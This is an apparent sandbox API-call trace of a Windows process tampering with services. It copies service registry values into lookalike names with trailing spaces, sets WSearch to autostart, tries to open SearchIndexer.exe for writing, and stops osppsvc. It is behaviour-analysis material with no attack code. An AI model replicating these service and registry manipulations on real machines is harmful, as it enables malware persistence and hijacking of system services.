[0236.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.181] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.182] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.182] RegCloseKey (hKey=0x150) returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.182] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.183] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.184] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.184] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.184] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.185] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.186] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.186] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0236.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.186] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.187] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0236.187] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.187] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.188] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.188] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0236.189] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\SearchIndexer.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\SearchIndexer.exe" [0236.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0236.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0236.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0236.189] LocalFree (hMem=0x7f03d0) returned 0x0 [0236.189] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0236.189] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x2) returned 0x803990 [0236.189] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0236.190] CloseServiceHandle (hSCObject=0x803990) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.191] RegCloseKey (hKey=0x150) returned 0x0 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0236.191] RegCloseKey (hKey=0x154) returned 0x0 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0236.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0236.191] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90db591b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x90db591b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0236.191] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.191] GetLastError () returned 0x20 [0236.191] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0236.192] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0236.192] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0236.192] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x20) returned 0x8038a0 [0236.192] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0236.275] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0236.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0236.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0236.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0236.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0236.275] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.275] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: 